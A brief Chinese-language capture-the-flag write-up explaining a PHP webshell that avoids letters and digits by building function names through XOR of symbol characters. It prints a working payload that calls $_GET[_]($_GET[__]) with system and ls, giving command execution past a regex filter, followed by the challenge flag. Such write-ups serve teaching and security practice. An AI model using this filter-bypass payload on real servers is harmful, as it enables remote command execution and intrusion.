catflag无字符webshell
本地搭了一个环境,可以看见正则那一块过滤数字和字母。
无字符webshell
在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
<?php
'#'^'|'; //得到字符 _
'.'^'~'; //得到字符 P
'/'^'`'; //得到字符 0
'|'^'/'; //得到字符 S
'{'^'/'; //得到字符 T
$_=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
//变量$__值为字符串'_POST'
?>
我们按照这个原理编写payload
<?php
$_="`{{{"^"?<>/"; //_GET
${$_}[_](${$_}[__]); //$_GET[_]($_GET[__])
&_=system()
&__=ls//执行函数 eval("system('ls')")
//payload
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=system&__=ls
?>
catflag{327a6c4304ad5938eaf0efb6cc3e53dc}